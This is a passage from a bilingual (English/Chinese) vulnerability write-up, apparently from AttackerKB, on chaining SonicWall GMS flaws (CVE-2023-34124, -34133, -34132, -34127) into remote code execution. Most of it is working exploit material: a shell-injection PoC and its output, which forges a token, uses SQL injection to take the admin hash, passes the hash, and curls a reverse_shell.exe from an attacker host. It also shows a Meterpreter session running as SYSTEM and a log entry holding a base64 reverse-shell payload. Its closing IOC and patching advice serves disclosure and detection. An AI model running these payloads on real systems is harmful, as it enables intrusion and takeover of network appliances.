    searchFilter: "appliance.jar|#{COMMAND} ", # The space is required here!
  },
)

The script attempts to run the command on both Linux and Windows, but only one will work since the application validates the searchFolder argument.
该脚本尝试在 Linux 和 Windows 上运行该命令,但由于应用程序验证参数 searchFolder ,因此只有一个命令可以工作。

Note that this is blind shell injection, so you won’t see the output. We did, however, use this script to upload a Meterpreter executable to our target:
请注意,这是盲壳注入,因此您不会看到输出。但是,我们确实使用此脚本将 Meterpreter 可执行文件上传到我们的目标:

ron@ronlab ~/pocs [main] $ ruby ./cve-2023-34127-shell-injection.rb 10.0.0.79 'curl -o c:\users\administrator\desktop\test.exe http://10.0.0.227:8081/reverse_shell.exe'
** CVE-2023-34124: Generating a token to access /ws/msw/tenant...
Token: dgYvNOApDtJ4qwImZ9kjv8lwqHg=

** CVE-2023-34133: Using SQL injection to grab the admin hash...
username = admin
password hash = 5f4dcc3b5aa765d61d8327deb882cf99

** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash
randonNumber1: 53450773571430543092701367773482
clientHash: 5c98b33d8f9fafb49ff398a0e3697412

** Using the hash to authenticate...
Obtained a cookie for admin (probably): ["JSESSIONID=B1E9D731EBC9477467041F89ED4735A9; Path=/appliance; Secure; HttpOnly; SameSite=Strict"]

** CVE-2023-34127: Attempting shell injection (Windows)...
** CVE-2023-34127: Attempting shell injection (Linux)...

Then execute it: 然后执行它:

ron@ronlab ~/shared/analysis/sonicwall/pocs [main] $ ruby ./cve-2023-34127-shell-injection.rb 10.0.0.79 'c:\users\administrator\desktop\test.exe'
** CVE-2023-34124: Generating a token to access /ws/msw/tenant...
Token: dgYvNOApDtJ4qwImZ9kjv8lwqHg=

** CVE-2023-34133: Using SQL injection to grab the admin hash...
username = admin
password hash = 5f4dcc3b5aa765d61d8327deb882cf99

** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash
randonNumber1: 55285280221030697871540002607346
clientHash: ae94fb6b904469a184da92c85ec33d35

** Using the hash to authenticate...
Obtained a cookie for admin (probably): ["JSESSIONID=9A8FCDA50DB3A7FFFB6E9789C41E4253; Path=/appliance; Secure; HttpOnly; SameSite=Strict"]

** CVE-2023-34127: Attempting shell injection (Windows)...

Which gets us a Meterpreter session:
这为我们提供了一个Meterpreter会话:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.227
LHOST => 10.0.0.227
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] Sending stage (175686 bytes) to 10.0.0.79
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.79:51880) at 2023-08-04 14:15:28 -0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

We also created a Metasploit module based on that proof of concept.
我们还基于该概念验证创建了一个Metasploit模块。

A Note on Windows
关于视窗的说明

Way at the top, we made a remark that we took advantage of one unpatched issue on Windows:
在顶部,我们说我们利用了Windows上一个未修补的问题:

In addition to the patched vulnerabilities, we also exploited one additional unpatched issue to obtain remote code execution specifically on Windows—a failure to return after an error condition.
除了修补的漏洞之外,我们还利用了一个未修补的问题来获取专门在 Windows 上的远程代码执行 – 在错误条件后无法返回。

The perform() function in com.sonicwall.appliance.servlets.FileSystemAction has the following code at the top:
中的 perform() com.sonicwall.appliance.servlets.FileSystemAction 函数在顶部有以下代码:

    if (ApplianceUtil.isWindows()) {
        LogUtil.logError(null, "This operation is not supported on Windows platform.", "perform", "FileSystemAction");
        request.setAttribute("messagetype", 300);
        request.setAttribute("message", "Operation not supported.");
        ApplianceMainPage.forwardToPage(request, response, "/ActionFailure.jsp");
    }

When we run our proof of concept against a Windows target, we actually see that error message and get redirected. But… it doesn’t actually terminate the script! That means that the vulnerable code still executes, you just don’t see the output because the redirect is already sent to the browser!
当我们针对 Windows 目标运行概念证明时,我们实际上会看到该错误消息并被重定向。但。。。它实际上并没有终止脚本!这意味着易受攻击的代码仍在执行,您只是看不到输出,因为重定向已经发送到浏览器!

IOCs 国际奥委会

The techniques we used to write our exploits are very noisy, and SonicWall has decent log files. Logs are available on the filesystem, or on the appliance page under the “diagnostics” menu:
我们用来编写漏洞的技术非常嘈杂,SonicWall 有不错的日志文件。日志在文件系统上或设备页面上的“诊断”菜单下可用:

  • https://(host)/appliance/applianceMainPage

While most of the issues we discussed above will show up in those logs, we are reasonably sure there are multiple ways to get a valid session token using the set of vulnerabilities disclosed by SonicWall (in particular, there are multiple authentication bypass and SQL injection issues).
虽然我们上面讨论的大多数问题都会显示在这些日志中,但我们有理由肯定有多种方法可以使用 SonicWall 披露的一组漏洞来获取有效的会话令牌(特别是,存在多个身份验证绕过和 SQL 注入问题)。

However, the most likely path to exploitation is to use the shell command injection issue, which appears in the appliance logs (DbgAppliance0.log and other numbers). Searching that log for FileSearchThread will find requests to the vulnerable endpoint. For reference, our Metasploit module creates an entry similar to this:
但是,最可能的利用途径是使用 shell 命令注入问题,该问题出现在设备日志( DbgAppliance0.log 和其他数字)中。搜索该日志 FileSearchThread 将找到对易受攻击的终结点的请求。作为参考,我们的 Metasploit 模块创建了一个类似于以下内容的条目:

[Fri Aug 18 21:19:04 UTC 2023 Thread-15800:19288] FileSearchThread: Command to get file list for: /opt/GMSVP/etc/: ls /opt/GMSVP/etc/appliance.jar;bash -c PLUS\=\$\(echo\ -e\ begin-base64\ 755\ a\\\\nKwee
\\\\n\=\=\=\=\ \|\ uudecode\ -o-\)\;echo\ -e\ begin-base64\ 755\ /tmp/.ptdaleif\\\\nf0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAA
QAAAAAAA\$\{PLUS\}gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoAAONRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8
FXmp\$\{PLUS\}Wg8FSIXAeO3/5g\=\=\\\\n\=\=\=\=\ \|\ uudecode\ \;\ coproc\ /tmp/.ptdaleif\ \;\ rm\ /tmp/.ptdaleif;echo   | grep -v ^d | sort -f 

Any unusual activity in FileSearchThread should be carefully examined, as that’s where the command execution will occur.
应仔细检查 中的任何 FileSearchThread 异常活动,因为这是命令执行发生的地方。

An attacker may use other techniques to execute arbitrary code, such as a path traversal issue; those likely appear in other log files, but we haven’t replicated that attack.
攻击者可以使用其他技术执行任意代码,例如路径遍历问题;这些可能出现在其他日志文件中,但我们尚未复制该攻击。

Because users get privileged access to the targets, they may also redact or delete the logs.
由于用户获得对目标的特权访问权限,因此他们还可以编辑或删除日志。

Guidance 指导

We recommend that organizations who are running SonicWall GMS or Analytics update as soon as possible, as we have demonstrated that these vulnerabilities can lead to remote code execution.
我们建议运行 SonicWall GMS 或 Analytics 的组织尽快更新,因为我们已经证明这些漏洞可能导致远程代码执行。

References 引用

原文始发于attackerkb:CVE-2023-34127

版权声明:admin 发表于 2023年8月23日 上午9:14。
转载请注明:CVE-2023-34127 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...